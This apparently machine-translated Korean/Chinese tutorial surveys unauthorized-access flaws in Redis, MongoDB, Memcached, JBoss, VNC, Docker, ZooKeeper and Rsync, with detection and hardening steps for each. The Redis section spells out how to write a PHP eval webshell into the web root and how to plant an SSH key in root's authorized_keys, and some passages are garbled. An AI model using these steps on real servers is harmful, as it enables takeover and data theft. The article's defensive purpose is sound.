>운영 및 유지보수 >안전 >일반적인 무단 액세스 취약점 요약

일반적인 무단 액세스 취약점 요약

王林
王林원래의
2019-12-02 17:40:445017검색

일반적인 무단 액세스 취약점 요약

무단 접근 취약점은 보안 구성이나 권한 인증이 필요한 주소 및 인증 페이지에 결함이 있어 다른 사용자가 직접 접근할 수 있게 하여 중요한 권한이 작동되게 하고, 데이터베이스나 웹사이트 디렉토리 등 민감한 정보가 유출되는 것으로 이해될 수 있습니다. 유출되다.

일반적인 무단 접근 취약점

1.MongoDB 무단 접근 취약점

2.Redis 무단 접근 취약점

3.Memcached 무단 접근 취약점 CVE-2013-7239

4.JBOSS 무단 접근 취약점

5.VNC 무단 접근 취약점

6.Docker 무단 접근 취약점

7.ZooKeeper 무단 접근 취약점

8.Rsync 무단 접근 취약점

1. MongoDB 무단 접근 취약점

취약점 정보

(1 ) 취약점에 대한 간략한 설명 MongoDB 서비스를 열 때 어떤 매개 변수도 추가하지 않으면 기본적으로 권한 확인이 없습니다. 데이터베이스에 원격으로 액세스하고 로그인할 수 있는 사용자는 비밀번호 없이 기본 포트 27017을 통해 데이터베이스를 추가, 삭제, 수정 및 수정할 수 있습니다. .고위험 작업을 확인하십시오. MongoDB는 처음 설치 시 기본적으로 admin 데이터베이스를 갖고 있으며 이때 admin 데이터베이스는 비어 있으며 권한 관련 정보를 기록하지 않습니다. admin.system.users에 사용자가 없으면 –auth 매개변수로 MongoDB를 시작하더라도 admin.system에 사용자가 추가되기 전까지는 –auth 매개변수로 시작 여부와 관계없이 모든 작업을 수행할 수 있습니다. 사용자.

(2) 위험 수준 높은 위험.

(3) 취약점 번호 없음.

(4) 영향 범위 MongoDB 데이터베이스.

탐지 방법

해당 스크립트를 직접 컴파일하거나 특수 도구를 사용하여 감지하거나 구성 파일을 확인할 수 있습니다

(1) 127.0.0.1

--bind_ip 127.0.0.1
or
vim /etc/mongodb.conf
bind_ip = 127.0.0.1

(2)만 듣고 있는지 확인하세요. 인증 인증이 켜져 있는지 확인

mongod --auth
or
vim /etc/mongodb.conf
auth = true

수정 방법

(1) MongoDB에 대한 인증 추가

① MongoDB 시작 시 -auth 매개 변수를 추가합니다.

② MongoDB에 사용자 추가

use admin # 使用 admin 库
db.addUser“用户名” “密码”# 添加用户名、密码
db.auth“用户名”,“密码”# 验证是否添加成功返回 1 说明成功。

(2) HTTP 및 REST 포트 비활성화

MongoDB 자체에는 HTTP 서비스가 제공되며 REST 인터페이스를 지원합니다. 버전 2.6 이후에는 이러한 인터페이스가 기본적으로 닫혀 있습니다. MongoDB는 기본적으로 웹 서비스를 수신하기 위해 기본 포트를 사용합니다. 일반적으로 웹을 통해 원격 관리를 수행할 필요는 없습니다. 구성 파일을 수정하거나 시작 시 -nohttpinterface 매개변수 nohttpinterface = false를 선택하십시오.

(3) 바인딩 IP 제한

시작 시 매개변수

--bind_ip 127.0.0.1

를 추가하거나 /etc/mongodb.conf 파일에 다음 콘텐츠를 추가합니다.

bind_ip = 127.0.0.1

2. Redis 무단 액세스 취약점

취약점 정보

( 1 ) 취약점에 대한 간략한 설명 Redis는 고성능 Key-Value 데이터베이스입니다. Redis의 등장은 memcached와 같은 키/값 저장소의 단점을 상당 부분 보완했으며, 상황에 따라 관계형 데이터베이스에서 좋은 보완 역할을 할 수 있습니다. Redis는 기본적으로 0.0.0.0:6379에 바인딩되어 Redis 서비스를 공용 네트워크에 노출합니다. 인증을 활성화하지 않으면 모든 사용자가 대상 서버에 액세스하는 동안 인증 없이 Redis에 액세스하고 Redis 데이터를 읽을 수 있습니다. Redis에 대한 승인된 접근 없이 공격자는 Redis 관련 방법을 사용하여 Redis 서버에 공개 키를 성공적으로 작성한 후 해당 개인 키를 사용하여 대상 서버에 직접 로그인할 수 있습니다.

(2) 위험 수준 높은 위험.

(3) 취약점 번호 없음.

(4) 영향 범위 Redis 데이터베이스.

탐지 방법

先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口 

Nmap -A -p 6379 --script redis-info 192.168.10.153

Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下:

./redis-cli -h 192.168.10.153
Info

就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。

(1) 网站写码

① 先用客户端连接服务器的 redis 服务

redis-cli.exe -h 目标IP

② 连接后设置目录 

config set dir /var/www/html此路径是服务器端 Web 网站的目录

③ 设置要写入的文件名 

config set dbfilename redis88.php

④ 设置要写入的内容 

set webshell "<?php @eval($_POST[&#39;123&#39;]); ?>"

⑤ 保存 

save

⑥ 保存后用菜刀连接此木马得到 webshell。

(2) 结合 SSH 免密码登录

① 先在本地建个 ssh 的密钥

ssh-keygen-trsa

② 将公钥的内容写到一个文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

注意写到文件中时一定要在前面加几行后面加几行。

③ 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下

cat test.txt | redis -cli -h <hostname> -x set test

④ 登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h <hostname>
keys *get test

⑤ 随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。

修改保存的路径为

config set dir "/root/.ssh"

修改文件名为

config set dbfilename "authorized_keys"

保存。

⑥ 测试一下

ssh 用户名@<IP地址>

实现免密码成功登陆。

修复方法

(1) 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令redis 客户端也需要此密码来访问 redis 服务。

(2) 配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379。

(3) 重启 Redis 服务。

(4) 清理系统中存在的后门木马。

三、Memcached 未授权访问漏洞CVE-2013-7239

漏洞信息

(1) 漏洞简述Memcached 是一套分布式高速缓存系统。它以 Key – Value 的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取的。正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于 Memcached 的安全设计缺陷客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容。

(2) 风险等级高风险。

(3) 漏洞编号CVE-2013-7239 。

(4) 影响范围Memcached 全版本。

检测方法

登录机器执行 netstat -an | more 命令查看端口监听情况。回显 0.0.0.0:1121111211 表示在所有网卡进行监听存在 Memcached 未授权访问漏洞。

telnet <target> 11211
or
nc -vv <target> 11211

提示连接成功表示漏洞存在。

使用端口扫描工具 nmap 进行远程扫描

nmap -sV -p11211 --script memcached-info <target>

修复方法 

(1) 配置访问控制。建议用户不要将服务发布到互联网上以防被黑客利用而可以通过安全组规则或 Iptables 配置访问控制规则只允许内部必需的用户地址访问命令如下 

iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT

(2) bind 指定监听 IP。如果 Memcached 没有在外网开放的必要可在 Memcached 启动时指定绑定的 IP 地址为 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(3) 最小化权限运行。使用普通权限账号运行以下指定 memcached 用户运行 

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(4) 修改默认端口。修改默认 11211 监听端口为 11222 端口 

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

(5) 备份数据。为避免数据丢失升级前应做好备份或建立硬盘快照。

四、JBOSS 未授权访问漏洞

漏洞信息

(1) 漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console 就可以浏览 jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围JBOSS 全版本。

检测方法

先用 nmap 扫描查看端口开放情况看是否开放 JBOSS 端口。再使用漏洞测试工具测试 jmx 组件存在情况通过访问 http://ip:jboss端口/ 看是否能进入 jmx-console 和 web-console 。 

修复方法

JMX Console 安全配置

① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面这段 xml 文本的注释。

② 与 jboss-web.xml 同级的目录下还有一个文件 web.xml找到下面这段 xml 文本把 GET 和 POST 两行注释掉同时 security-constraint 整个部分取消注释, 不然存在head头绕过。 

③ %JBOSS_HOME%\server\default\conf\props\jbossws-users.properties 中删除原始的 admin/admin添加新的用户名密码。 

④ %JBOSS_HOME%\server\default\conf\props\jbossws-roles.properties 中定义新用户名所属角色。该文件定义的格式为用户名 = 角色多个角色以 “,” 隔开该文件默认为 admin 用户定义了 JBossAdmin 和 HttpInvoker 这两个角色。 

# A sample roles.properties file foruse with the UsersRolesLoginModule
kermit = JBossAdmin,HttpInvoker

五、VNC 未授权访问漏洞

漏洞信息

(1) 漏洞简述VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围VNC 全版本。

检测方法

使用 metasploit 进行批量检测

(1) 在 kali 下运行 msfconsolemsfconsole。

(2) 调用 VNC 未授权检测模块use auxiliary/scanner/vnc/vnx_none_auth。

(3) 显示有哪些选项show options。

(4) 设置地址段set rhosts ip 或 段。

(5) 设置线程set threads 50。

(6) 开始扫描run。

修复方法

(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

(2) 以最小权限的普通用户身份运行操作系统。

六、Docker 未授权访问漏洞

漏洞信息

(1) 漏洞简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Docker 1.3、Docker 1.6。

检测方法

先用 nmap 扫描查看端口开放情况。2375 为 docker 端口如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息也可以执行目标服务器容器命令如 container、image 等。 

修复方法

(1) 使用 TLS 认证。

(2) 网络访问控制Network Access Control

七、ZooKeeper 未授权访问漏洞

漏洞信息

(1) 漏洞简述ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务是 Google 的 Chubby 一个开源的实现是 Hadoop 和 Hbase 的重要组件。它是一个为分布式应用提供一致性服务的软件提供的功能包括配置维护、域名服务、分布式同步、组服务等。ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境。这将导致任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Zookeeper 全版本。

检测方法

(1) 通过 nmap 扫描开放了 2181 端口的主机。

(2) 运行脚本通过 socket 连接 2181 端口并发送 envi 命令若服务端返回的数据中包含 ZooKeeper 的服务运行环境信息即可证明存在未授权访问。

检测脚本

# coding=utf-8
 import socketimport sys 
def check(ip, port, timeout, cmd):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send(cmd)
        data = s.recv(1024)
        s.close()        print data    except:        passdef main():
    if len(sys.argv) < 3:
        exit()
    ip = sys.argv[1]
    cmd = sys.argv[2]    # envi
    # dump
    # reqs
    # ruok
    # stat
    check(ip, 2181, 3, cmd) 
if __name__ == &#39;__main__&#39;:
    main()

修复方法 

(1) ZooKeeper 기본 포트를 수정하고, 다른 포트 서비스를 사용하고, 서비스 소스 주소 제한 정책을 구성합니다.

(2) ZooKeeper 인증 구성을 추가합니다.

8. Rsync 무단 액세스 취약점

Vulnerability Information

(1) 취약점 요약: Rsync(원격 동기화)는 LAN/WAN을 통해 여러 호스트를 빠르게 동기화할 수 있는 원격 데이터 동기화 도구입니다. 로컬 하드 드라이브의 여러 디렉터리 간에 파일을 동기화합니다. Rsync는 기본적으로 익명 액세스를 허용합니다. 구성 파일에 관련 사용자 인증 및 파일 권한 부여가 없으면 숨겨진 위험이 발생합니다. Rsync의 기본 포트는 837입니다.

(2) 위험 수준: 높음.

(3) 버그 번호: 없음.

(4) 영향 범위: Rsync의 모든 버전.

탐지 방법

nmap 스캔: nmap ip -p837.

현재 디렉토리를 나열하고 사용자: rsync ip를 표시합니다.

루트라면 어떤 파일이든 다운로드하고 파일을 업로드할 수 있습니다.

수정 방법

(1) 모듈 정보 숨기기: 구성 파일 목록 수정 =false.

(2) 권한 제어: 쓰기 권한이 필요하지 않은 모듈은 읽기 전용 읽기 전용 = true로 설정됩니다.

(3) 네트워크 액세스 제어: 보안 그룹 정책 또는 화이트리스트 제한을 사용하여 필요한 호스트만 액세스하도록 허용합니다. 호스트 허용 = 123.123.123.123.

(4) 계정 인증: 지정된 사용자만 지정된 비밀번호로 rsync 서비스를 사용할 수 있습니다.

(5) 데이터 암호화 전송: Rsync는 기본적으로 암호화 전송을 직접 지원하지 않습니다. 매우 중요한 데이터를 동기화하기 위해 Rsync가 필요한 경우 SSH를 사용할 수 있습니다.

추천 관련 기사 및 튜토리얼: 웹 보안 튜토리얼

위 내용은 일반적인 무단 액세스 취약점 요약의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.